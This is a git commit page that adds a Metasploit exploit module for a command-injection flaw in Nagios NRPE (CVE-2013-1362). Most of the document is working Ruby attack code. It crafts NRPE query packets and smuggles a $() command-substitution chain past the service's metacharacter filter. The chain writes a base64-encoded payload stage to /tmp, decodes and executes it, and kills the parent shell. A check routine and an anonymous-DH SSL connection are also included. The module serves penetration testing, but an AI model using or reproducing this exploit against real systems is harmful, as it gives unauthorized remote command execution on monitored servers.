Added module for CVE-2013-1362
Module exploits a shell code metacharacter escaping vulnerability in poorly configured Nagios Remote Plugin Executor installations.unstable
parent
40e801d345
commit
21e9f7dbd2
|
@ -0,0 +1,193 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'zlib'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
# would like to replace these globals how would I do that?
|
||||||
|
@ssl_socket = nil
|
||||||
|
@force_ssl = false
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
|
||||||
|
Nagios server to actively poll information from the hosts it monitors. NRPE
|
||||||
|
has a configuration option dont_blame_nrpe (with a caveat above it ENABLING
|
||||||
|
THIS OPTION IS A SECURITY RISK!) which enables command-line arguments to be
|
||||||
|
provided remote plugins. This option is often enabled, and while NRPE makes
|
||||||
|
an effort to sanitize arguments to prevent command execution, it is possible
|
||||||
|
to execute arbitrary commands. },
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
'PrependFork' => 'yes',
|
||||||
|
'AppendExit' => 'yes',
|
||||||
|
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'jwpari <jwpari[at]beersec.org>'
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
[ 'CVE', '2012-5194'],
|
||||||
|
[ 'CVE', '2013-1362'],
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => [ 'unix' ],
|
||||||
|
'Arch' => [ ARCH_CMD ],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'perl python ruby bash telnet',
|
||||||
|
# *_perl, *_python and *_ruby work if they are installed
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' => [
|
||||||
|
['Nagios Remote Plugin Executor prior to 2.14', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 23 2012'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(5666),
|
||||||
|
OptString.new('CMD', [ true, "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg", 'check_procs']),
|
||||||
|
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
|
||||||
|
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_message(sock, message)
|
||||||
|
checksum = 0
|
||||||
|
|
||||||
|
packet = [
|
||||||
|
2, # packet version
|
||||||
|
1, # packet type, 1 => query packet
|
||||||
|
0, # checksum, to be added later
|
||||||
|
0, # result code, discarded for query packet
|
||||||
|
message, # the command and arguments
|
||||||
|
0 # padding
|
||||||
|
]
|
||||||
|
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
|
||||||
|
begin
|
||||||
|
self.sock.put(packet.pack("nnNna1024n")) #send the packet
|
||||||
|
res = self.sock.get_once # get the response
|
||||||
|
rescue ::EOFError => eof
|
||||||
|
res = ""
|
||||||
|
end
|
||||||
|
|
||||||
|
return res.unpack("nnNnA1024n")[4] unless res.nil?
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
if check != Exploit::CheckCode::Vulnerable
|
||||||
|
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
|
||||||
|
end
|
||||||
|
|
||||||
|
self.connect
|
||||||
|
print_status("Sending request...")
|
||||||
|
|
||||||
|
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||||
|
|
||||||
|
stage = "setsid nohup #{payload.encoded} & "
|
||||||
|
|
||||||
|
stage = Rex::Text.encode_base64(stage)
|
||||||
|
|
||||||
|
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
|
||||||
|
|
||||||
|
command = datastore['CMD']
|
||||||
|
command << "!"
|
||||||
|
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
|
||||||
|
|
||||||
|
# need a way to write to a file without using redirection (>)
|
||||||
|
# cant count on perl being on all linux hosts, use GNU Sed
|
||||||
|
# TODO: Probably a better way to do this, some hosts may not have a /tmp
|
||||||
|
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
|
||||||
|
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
|
||||||
|
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
|
||||||
|
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
|
||||||
|
command << "$(kill -9 $$))" # kill check_procs parent (popen'd sh) so that it never executes
|
||||||
|
send_message(sock, command)
|
||||||
|
handler
|
||||||
|
self.disconnect
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
|
||||||
|
print_status("Checking if remote nrpe supports command line arguments")
|
||||||
|
|
||||||
|
begin
|
||||||
|
# send query asking to run "fake_check" command with command substitution in arguments
|
||||||
|
self.connect
|
||||||
|
res = send_message(sock, "__fake_check!$()")
|
||||||
|
# if nrpe is configured to support arguments and is not patched to add $() to
|
||||||
|
# NASTY_META_CHARS then the service will return:
|
||||||
|
# NRPE: Command '__fake_check' not defined
|
||||||
|
if res =~ /not defined/
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
# Otherwise the service will close the connection if it is configured to disable arguments
|
||||||
|
rescue EOFError => eof
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
rescue Errno::ECONNRESET => reset
|
||||||
|
|
||||||
|
unless datastore['NRPESSL'] or @force_ssl
|
||||||
|
print_status("Retrying with ADH SSL")
|
||||||
|
@force_ssl = true
|
||||||
|
retry
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
rescue => e
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
# TODO: patched version appears to go here
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
|
||||||
|
|
||||||
|
# setting the global SSL => true will break as we would be overlaying
|
||||||
|
# an SSLSocket on another SSLSocket which hasnt completed its handshake
|
||||||
|
def connect(global = true, opts={})
|
||||||
|
|
||||||
|
self.sock = super(global, opts)
|
||||||
|
|
||||||
|
if datastore['NRPESSL'] or @force_ssl
|
||||||
|
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
|
||||||
|
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||||
|
ctx.ciphers = "ADH"
|
||||||
|
|
||||||
|
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
|
||||||
|
|
||||||
|
@ssl_socket.connect
|
||||||
|
|
||||||
|
self.sock.extend(Rex::Socket::SslTcp)
|
||||||
|
self.sock.sslsock = @ssl_socket
|
||||||
|
self.sock.sslctx = ctx
|
||||||
|
end
|
||||||
|
|
||||||
|
return self.sock
|
||||||
|
end
|
||||||
|
def disconnect
|
||||||
|
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue